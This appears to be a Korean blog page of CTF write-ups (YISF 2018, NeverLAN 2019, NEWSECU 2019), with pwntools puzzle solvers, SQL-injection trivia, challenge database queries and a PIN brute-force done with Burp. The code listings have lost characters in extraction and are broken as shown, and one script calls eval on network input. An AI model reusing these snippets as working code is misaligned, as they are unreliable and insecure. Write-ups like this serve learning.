 같은 것을 보면 문자열에서 바이너리로 변하는 일정한 규칙이 있는  같다.
 규칙이 적용된 문자열이 주어진 바이너리와 같도록 문자열을 입력해라 

 

 

Step :  1

00010011000001100110101
height = 5
table :  {'4': '1', 'x': '001', '3': '0001', '5': '01', '6': '0000'}

 

 

table이 주어집니다. 오른쪽에 해당하는 문자열을 왼쪽 문자로 치환해주면 됩니다.

치환해야할 문자열이 긴 것 부터치환을 하면 됩니다.

그런데 치환한 문자가 0이나 1이면 치환해야할 문자로 판단하여 또 치환해버립니다. 

 

그래서 치환한 문자가 0이 1이면 전혀 다른 범위의 문자로 바꾸었다가 마지막에 되돌려 놓았습니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import ast
 
def ccccc(h):
    h = h.replace('b"table :  '"")
    h = h.replace('\\n"'"")
    print(h)
    inn = ast.literal_eval(h) #type dictionary
    return inn
 
def ddd(e):
    e = e.replace("b'""")
    e = e.replace("\\n'""")
    return e
 
def ans(innn, task):
    innn = ccccc(innn)
    ss = sorted(innn, key=lambda k : innn[k]) #치환 대상 문자열의 길이가 긴 순서대로 치환
    task = ddd(task)
    for j in ss:
        p=j
        if j == "1"#치환 대상의 문자열과 동일한 0 과 1을 범위 밖의 문자로 치환하여 나중에 다시 되돌림
            p = "#"
        if j == "0":
            p = "@"
        task = task.replace(innn[j], p)
    task = task.replace("#""1")
    task = task.replace("@""0")
    print(task)
    return task
 
#main
= remote("218.158.141.182"52387)
p.recvuntil("Step :  1")
p.recvline()
p.recvline()
for i in range(099):
    try:
        t = p.recvline() #task
        p.recvline()
        table = p.recvline() #table
        p.recvuntil(": ")
        p.sendline(ans(str(table), str(t)))
        print(p.recvline())
        p.recvline()
        p.recvline()
        p.recvline()
        print(p.recvline())
        print(p.recvline())
    except:
        p.interactive()
= p.recvline() #Stage 100
p.recvline()
table = p.recvline()
p.recvuntil(": ")
p.sendline(ans(str(table), str(t)))
p.interactive()
 
#flag : YISF{Y0u_make_table_WeLL}
 
cs

 

 

 

Misc 200

문제 이름

Find First!

 

문제 설명

nc 218.158.141.142 9238

 처음 시작 위치를 찾아라!
 [설명]
 1. 모든 버튼은 전부 한번  눌려야 하고 항상 마지막으로는 F 눌립니다.
 2. 배열의 시작은 왼쪽 ( (x, y)=(0, 0) )이고 x y 값은 0 양의 정수 입니다.
 3. 버튼의 처음 시작 위치를 문제당 1 안에 찾으십시오.
 4. 배열의 행과 열의 크기는 5 이상, 10 이하 입니다.
 5.문자는 다음 버튼의 위치를 나타내고 숫자는 이동  수를 나타냅니다.
 5-1) D = Down, U = Up, R = Right, L = Left  
 5-2) Ex) D5 = 아래로 5, R3 = 오른쪽으로 3 
 6. 모든 스테이지를 클리어 하면 플래그가 주어집니다.

 

[?] Input Example
[*] Problem 1
R2 R2 D2 F
U1 D1 D2 D2
U1 U2 U1 L3
R1 U2 L2 U1

[?] If the starting position's Row : 3, Column : 1.
Input : 3 1
[O] Correct!

[*] Problem 1
D4 L1 R2 D1 F
R2 U1 D1 L3 D2
D1 R3 D1 U2 L4
R1 U2 U3 U1 D1
R3 U2 L1 U1 L2

 

 

 

쉽습니다. 일단 F에서부터 출발할 필요가 없습니다. 중간에서 찾아가도 시작점은 나오니까요.

 

 

시작점을 (0,0)에서부터 시작해서 위 아래 양옆 기준으로 이전 위치를 찾아갑니다.

 

이전 위치가 위라면 n칸만큼 떨어진 곳에 Dn이 있을 것이고, 왼쪽이라면 Rn이 존재할 것입니다. 이러한 방식으로 이전 위치를 찾고, 이전위치를 기준으로 다시 더 이전 위치를 찾습니다. 모든 방향으로 조건에 만족하는 것이 없다면 그 곳이 시작위치가 됩니다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *
import re
 
def ddd(e):
    e = e.replace("b'""")
    e = e.replace("\\n'""")
    return e
 
 
def cntarr(col): #count element in first line / range of x
    col = ddd(col)
    col = col.replace("\\t""")
    col = col.replace("F""FF")
    col = col.replace("\\r""")
    cnt = int(len(col) *0.5)
    return cnt
 
def ans(b, c, d):
 
    for o in range(0, d):
        a[o] = ddd(str(a[o]))
        a[o] = a[o].replace("\\t""")
        a[o] = a[o].replace("\\r""")
        a[o] = a[o].replace("F""FF")
        aa = a[o]
        print(a[o])
        a[o] = re.findall(r'..',aa)
    print(a)
    now_x = 0 #F부터 시작할 필요가 없음. (0,0)지점부터 시작
    now_y = 0
    overcnt = 1
    while(overcnt > 0): #시작위치를 찾아내면 루프를 벗어남
        #현재 위치가 시작점이 아니라면, 이전 위치를 찾아야함.
        #만약 이전 위치가 왼쪽 방향이라면, 왼쪽 방향 n거리 만큼에 Rn이 존재함.
        #아래쪽 방향이라면, 아래쪽 방향 n거리 만큼에 Un이 존재함
        for k in range(010): #MAX 10. scan start
            n = str(k)
            if now_x+< c: #배열 범위를 벗어나면 오류가 나기 때문에, 범위를 지정해주어야함
                if now_y >= 0 and now_x >=0 and a[now_y][now_x+k] == ("L"+n): #right
                    now_x += k #찾은 경우, 현재 위치를 찾은 위치로 이동함
                    break
            if now_y+< d:
                if now_y >= 0 and now_x >=0 and a[now_y+k][now_x] == ("U"+n): #down
                    now_y += k
                    break
            if now_x->=0:
                if now_y >= 0 and now_x >=0 and a[now_y][now_x-k] == ("R"+n): #left
                    now_x -= k
                    break
            if now_y->=0:
                if now_y >= 0 and now_x >=0 and a[now_y-k][now_x] == ("D"+n): #up
                    now_y -= k
                    break
            if k == 9:
                overcnt = 0 #모든 방향에 존재하지 않는다면 현재 위치가 시작지점임
 
    ax = now_x
    ay = now_y
    print(ax, ay)
    return ax, ay
 
 
 
= remote("218.158.141.142"9238)
p.recvuntil("Problem 1\n")
p.recvuntil("Problem 1\n")
for m in range(0,99):
    a= ["0"]*10
    a[0= p.recvline()
    print(a)
    count = cntarr(str(a[0]))
    c2=1
    for i in range(110):
        a[i] = p.recvline()
        c2 +=1
        if len(str(a[i])) < 10:
            c2-=1
            break
    p.recvuntil(": ")
    w, z = ans(a, count, c2)
    p.sendline(str(w)+" "+str(z))
    print(p.recvline())
    p.recvline()
    print(p.recvline())
#stage 100
a= ["0"]*10
a[0= p.recvline()
print(a)
count = cntarr(str(a[0]))
c2=1
for i in range(110):
    a[i] = p.recvline()
    c2 +=1
    if len(str(a[i])) < 10:
        c2-=1
        break
p.recvuntil(": ")
w, z = ans(a, count, c2)
p.sendline(str(w)+" "+str(z))
p.interactive()
 
#flag : YISF{Y0(_)_4r3_4_w0nd3rf(_)l_pr0gr4mm3r!!}
 
cs

 

 

 

Misc 300

 

솔버 0이라서 그런지 지금은 문제가 닫혀있다.

 

 

nc접속을 하면, 스테이지가 100개가 있는데, 스테이지마다 매우 많은 base64인코딩 문자열을 준다.

디코딩을 하게 되면 hex값이 나온다. 이를 파일로 만들면 png파일이 나온다.

 

이미지를 열면 이미지에 문자가 젹혀 있고, 이 문자를 읽어서 5초안에 제출하면 된다.

 

 

그래서 생각한게, 이미지를 만들어놓고 내가 이 이미지를 바로 봐서 직접 타이핑해서 제출하는 방식이었다.

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from pwn import *
import base64
import binascii
import cv2
from PIL import Image
import matplotlib.pyplot as plt
 
# matplotlib.image 를 사용하기 위해선 matplotlib 뿐만 아니라 pillow도 깔아야 한다
 
import matplotlib.image as mpimg
 
def show(e):
    data = str(e)
    data = data.replace("b'""")
    data = data.replace("\\n\\n['""")
    data2 = data.split("\\n")
 
    dat= ""
    for i in range(0len(data2)):
        dat += str(base64.b64decode(data2[i]).decode('utf-8'))
    dat = dat.replace("b'""")
    dat = dat.replace("'""")
 
    red = dat
 
    bin_ = ""
    for j in range(0len(red), 2):
        binary_d = str(red[j:j+2])
        binary_d = binary_d.replace("b'""")
        binary_d = binary_d.replace("'""")
        bin_ += "\\x"+binary_d
 
    fh = open("image.png""wb")
    eval("fh.write(b'"+bin_+"')")
    fh.close()
    
    '''
    # 색상 범위 설정
    lower = (0, 0, 0)
    upper= (150, 150, 150)
 
    # 이미지 파일을 읽어온다
    img = mpimg.imread("image.png", cv2.IMREAD_COLOR)
 
    # BGR to HSV 변환
    img_hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV)
 
    # 색상 범위를 제한하여 mask 생성
    img_mask = cv2.inRange(img_hsv, lower, upper)
 
    # 원본 이미지를 가지고 Object 추출 이미지로 생성
    img_result = cv2.bitwise_and(img, img, mask=img_mask)
 
    # 결과 이미지 생성
    imgplot = plt.imshow(img_result)
 
    plt.savefig('./image1.png')
 
    img = Image.open('./image1.png')
    thresh = 245
    fn = lambda x : 255 if x > thresh else 0
    r = img.convert('L').point(fn, mode='1')
    r.save('./image1.png')
    '''
 
 
= remote("218.158.141.149"25496)
p.recvuntil("=\n")
p.recvline()
 
for ZZZZZZZZZZZZZ in range(0,99):
    b64 = p.recvuntil("[")
    show(b64)
    p.recvuntil(": ")
    user_input = str(input())
    p.sendline(user_input)
    print(p.recvline())
    print(p.recvline())
    print(p.recvline())
    print(p.recvline())
 
b64 = p.recvuntil("[")
show(b64)
p.interactive()
 
cs

 

 

근데 이게 줄쳐진 것 때문에 사람이 읽기도 힘들다. 정확히는 비슷한 글자들로 헷갈린다.

게다가 한 스테이지마다 5초안에 입력하는걸 100스테이지를 해야하는데 직접 해보니 25스테이지 정도가 한계였다.

타임아웃뜨거나 오타나거나해서...

 

그래서 컴퓨터가 직접 글자를 인식해서 자동으로 보내게 해야 했다. 근데 이게 가능한가...

 

pytesseract을 설치해서 사용해 봤는데 인식을 못했다.

 

 

그래서 글자를 더 잘 구별할 수 있도록 회색글자부분만 추출해서 검정으로 바꾸는 코드를 추가했었다.

 

그런데도 인식을 못했다. 나라도 잘 봐서 직접 입력하더라도 정확도를 높이려고 했는데....

 

 

2스테이지를 넘어가면 ... 이전 이미지에 겹쳐져서 나온다. 처음 써보는 모듈이라 이걸 어떻게 해결해야 할지도 모른다..

 

 

 

마지막에 생각난 아이디어. 여러번 접속을 해서

base64문자열 받고 -> 이미지 변환 -> 직접 입력

직접 입력한 값과 base64문자열의 해쉬값을 db에 저장

최종실행에 입력받은 base64를 해쉬돌려서 db에 있는거랑 비교, 입력값 전송

 

그런데 전체 이미지 개수가 1만개가 넘어갈 수도 있을 텐데.. 이것도 안될 것 같았다. 포기

 

 

 

반응형
반응형

NeverLAN CTF 2019 


write up by M4ndU





Trivia


SQL Trivia 1

20

The oldest SQL Injection Vulnerability. The flag is the vulnerability ID.


flag : CVE-2000-1233




SQL Trivia 2

20

In MSSQL Injection Whats the query to see what version it is?


flag : SELECT @@version




Sea Quail

20

A domain-specific language used in programming and designed for managing data held in a relational database management system, or for stream processing in a relational data stream management system.


flag : SQL




64 Characters

20

A group of similar binary-to-text encoding schemes that represent binary data in an ASCII string format by translating it into a radix-64 representation.


flag : base64




With Some Milk

20

A small piece of data sent from a website and stored on the user's computer by the user's web browser while the user is browsing.


flag : cookie



Beep Boop

20

A standard used by websites to communicate with web crawlers and other web robots. The standard specifies how to inform the web robot about which areas of the website should not be processed or scanned


flag : robots.txt




Recon


Unexpected intruder

50

occurring in Chicago, Illinois, United States, on the evening of November 22. There was an interruption like nothing we had ever seen before.

What was the name of the Intruder?


flag : maxheadroom




Crypto


Alphabet Soup

125

MKXU IDKMI DM BDASKMI NLU XCPJNDICFQ! K VDMGUC KW PDT GKG NLKB HP LFMG DC TBUG PDTC CUBDTCXUB. K'Q BTCU MDV PDT VFMN F WAFI BD LUCU KN KB WAFI GDKMINLKBHPLFMGKBQDCUWTMNLFMFMDMAKMUNDDA



처음에 카이사르로 돌려봤는데 나오질 않아서 치환암호인것 같았다.


https://quipqiup.com/ 자동으로 치환암호를 풀어주는 이 사이트에 clue 없이 돌린다음에 WAFI=FLAG 라는 clue를 넣어주어 완벽한 해독문을 얻을 수 있었다.


flag : DOINGTHISBYHANDISMOREFUNTHANANONLINETOOL





scripting/coding


WebCipher

300

To verify that only computers can access the website, you must reverse the Caesar cipher There are a list of possible words that the cipher may be here

https://challenges.neverlanctf.com:1160


이게 왜 여기있고, 왜 300점이나 되는지 모르겠는 이상한 문제




페이지에 접속하면 문자열 하나와 입력폼 하나가 있다.


문자열을 카이사르로 돌리면 accelerator 가 나오는데 이를 입력해주면 플래그가 나온다.





사람이 푸는게 아니라 코드를 짜서 풀어야 하는 문제인건가...?




Binary


Binary 2

200

Our lead Software Engineer recently left and deleted all the source code and changed the login information for our employee payroll application. Without the login information none of our employees will be paid. Can you help us by finding the login information?

***Flag is all caps




.net이다. dotpeek으로 까보면 된다.






바로 flag를 확인할 수 있다. 하나하나 디코딩하기는 귀찮으니 나와있는 id와 pw을 입력해 flag를 출력하게 하면 된다.





flag : flag{ST0RING_STAT1C_PA55WORDS_1N_FIL3S_1S_N0T_S3CUR3}





Web


Cookie Monster

20

It's a classic https://challenges.neverlanctf.com:1110



페이지에 들어가면 He's my favorite Red guy 라고 하는데 쿠키몬스터에서 red guy의 이름은 Elmo다. 쿠키값에 그의 이름을 적는 쿠키가 있다. Elmo 를 적어주고 새로고침하면 플래그가 나온다.


flag : flag{YummyC00k13s}




Things are not always what they seem

50

if you can't find it you're not looking hard enough

https://challenges.neverlanctf.com:1165/hello.html


페이지 소스보면 있다. 정확히는 글씨가 하얀색으로 되어 있어서 페이지에서는 안보이는 것이다. 드래그하거나 컨트롤+a 를 하면 볼 수 있다.


flag : flag{Whale_w0u1d_y0u_l00k3y_th3r3}




SQL Fun 1

75

REPORT: 'My Customer forgot his Password. His Fname is Jimmy. Can you get his password for me? It should be in the users table'

https://challenges.neverlanctf.com:1150


SELECT * FROM users WHERE Fname = 'Jimmy'


flag : flag{SQL_F0r_Th3_W1n}




SQL Fun 2

75

REPORT: A Client forgot his Password... again. Could you get it for me? He has a users account and his Lname is Miller if that helps at all. Oh! and Ken was saying something about a new table called passwd; said it was better to separate things

https://challenges.neverlanctf.com:1155


SELECT * FROM users;


idUsernameFnameLnameEmail
1JohnJohnHancockWhyDoYouWantMy@email.com
2JimWillJimmyWillmanSQL@example.com
3CaptinJacksparrowpirates@carribean.com
4N30ZaneDurkininfo@neverlanctf.com
5DisUserTomMillerMiller@example.com


Lname이 Miller인 계정의 아이디는 5다.



SELECT * FROM passwd;


iduser_idPassword
11Tm9wZS4uLiBXcm9uZyB1c2Vy
25ZmxhZ3tXMWxsX1kwdV9KMDFOX00zP30=
32Tm9wZS4uLiBXcm9uZyB1c2Vy
43Tm9wZS4uLiBXcm9uZyB1c2Vy
54Tm9wZS4uLiBXcm9uZyB1c2Vy


user_id의 password를 base64 디코딩하면 플래그가 나온다.


flag : flag{W1ll_Y0u_J01N_M3?}




Console

75

You control the browser

https://challenges.neverlanctf.com:1120



조건이 성립했을 때 일어나는 명령어를 크롬 콘솔창에 입력했다 :


$.ajax({

                        type: 'GET',

                        url: '1/key.php',

                        success: function (file_html) {

                            // success

                           foo.innerHTML=(file_html)

                        }

})


그러면 응답 메세지 중에 플래그가 있다.


flag : flag{console_controls_js}

반응형

'CTF Write Up' 카테고리의 다른 글

TAMU CTF 2019 wirte up  (0) 2019.03.04
제 1회 TRUST CTF write up  (0) 2019.02.18
2019 NEWSECU CTF Write-Up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
반응형

M4ndU 41st place 460 points

개인팀으로 문제를 풀다가 2인팀으로 바꿨습니다.


Irin_M4ndU 16th place 1060 points


푼 문제들:

mic_check                 test

What_the...three         crypto

Can you Bruteforcing? Web

goback                 misc

Base64                 misc

Easy_Forensics(1)         forensics

Secret_Code_from...       misc

선물문제(저놈 잡아라)    gift

피보다진한...?               forensics

restore                       misc

Easy_Forensics(2)          forensics


그리고 풀다만 Flag Leaked ...





1. mic_check

test


flag : flag{test}



2. What_the...three

crypto



한때 우리 인류는 외계 생명체에 많은 관심을 가지고 있었다. 그래서 우리 인류는 외계에 지구를 소개하는 데이터를 전파에 넣고 전송을 했었는데,,, 그로부터 10년뒤,, 우리 인류는, 그것도 한국은 외계에서 보낸듯한 메시지를 수신받게 되었다. 그런데, 잠깐,,, 우리 인류가 사용하는 체계의 데이터가 아니었다... 과연 아래의 데이터는 무슨내용일까?

========== DATA START ========== 002121 002211 002102 002122 011120 010002 002101 011001 010112 002122 011111 001220 001210 011011 010112 010002 002101 011000 010112 002212 001220 001210 010222 010112 002122 001210 010112 010002 010220 011011 010112 002112 002101 010121 011122 ========== DATA END ============



3진법이다. 계산해서 ascii로 바꿔주면 된다.


flag : FLAG{S@m_Gy30p_S@l_M30k_G0_Sip_D@a}




3. Can you Bruteforcing?

Web


패스워드 입력 폼이 있는데, 패스워드는 숫자 4자리라고 한다.


burpsuit 돌려서 구했다.


password : 1016

flag : NEWSECU{Can_You_Brute_Force_This_Password} 




4. goback

misc


친구에게 사랑에 빠진 누군가가 있었다.

그 누군가는 드디어 20살이 된 기념으로 친구에게 고백을 하기위해 파일을 작성하였다.

그런데, 그 누군가는 해커기질이 너무 강해서인지,

고백하기 위한 문장 마저 파일 내부에 숨겨버렸는데,,

과연, 그 남자의 운명은 어떻게 될 것인가..


hwp파일이 주어진다.


hwpscan2라는 프로그램으로 까보면 png파일이 하나 있는데, hex(Decompress)로 보면 끝부분에 플래그가 있다.




flag : FLAG{He_was_a_car...}

그는 차였어...........ㅠㅠ



5. Base64
misc


nc 35.237.96.115 1357 base64를 3번 디코딩하라!


코드 짜서 돌리면 된다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
import base64
#context.log_level='debug'
 
def base64ToString(b):
    first = base64.b64decode(b).decode('utf-8')
    return first
 
#connect nc
= remote("35.237.96.115"1357)
 
for i in range(3):
    text = p.recvline()
    dec = base64ToString(text.strip())
    p.recvline()
    p.recvuntil(":")
    p.sendline(dec)
 
p.recvline()
 
cs


flag : FLAG{simple_base64_decoding}




6. Easy_Forensics(1)

forensics


윈도우 로그인 암호를 찾아라!


제가 푼 문제가 아니라서 pass

해시 돌리면 된다고 했던 것 같다.


password : st4rt



7. Secret_Code_from...

misc


이것도 제가 푼 문제가 아니라서 pass



8. 선물문제(저놈 잡아라)

gift


pass




9. 피보다진한...?

forensics


pass




10. restore

misc


포토샵 노가다 하면 풀린다고 한다.

파워노가다




11. Easy_Forensics(2)

forensics


이미지를 찾아라! 폴더에서 Flag_Image.png파일을 stegsolve.jar 프로그램 돌리면 플래그 이미지가 나온다.


바탕화면에 HxD 깔려있어서 hex로 별짓 다했던 문제..ㅠㅠ



12. Easy_Forensics(4)

flag.zip파일을 더블클릭하면 셧다운이 예약된다. 반디집 프로그램 자체를 실행하면 셧다운이 걸리는 것인데.

이렇게 만드는 파이썬 코드와 파이썬 코드를 실행하는 쉘을 각각 유저/공용/음악폴더와 시작프로그램 폴더에서 찾을 수 있다.

그리고 모르겠다..


12. Flag Leaked


com.android.provider.telephony/ 이쪽에 mmssms.db라는 파일이 있다. db뷰어로 이 파일을 보면 메세지 내용을 확인 할 수 있다.


메세지에 담긴 링크로 암호화된 문자열이 있는 flag.txt  와 이를 복호화해주는 apk파일, pw 문자열을 얻을 수 있다.


flag.txt를 Download폴더에 넣고, 폰에 앱을 설치해 복호화를 시도했는데, 실패했다...

반응형

'CTF Write Up' 카테고리의 다른 글

제 1회 TRUST CTF write up  (0) 2019.02.18
NeverLAN CTF 2019 write up  (0) 2019.02.04
YISF 2018 예선 write-up  (0) 2018.08.15
KYSIS CTF 2018 Write-Up  (0) 2018.08.07
H3X0R 4rd CTF 2018 Write-up  (0) 2018.07.29

+ Recent posts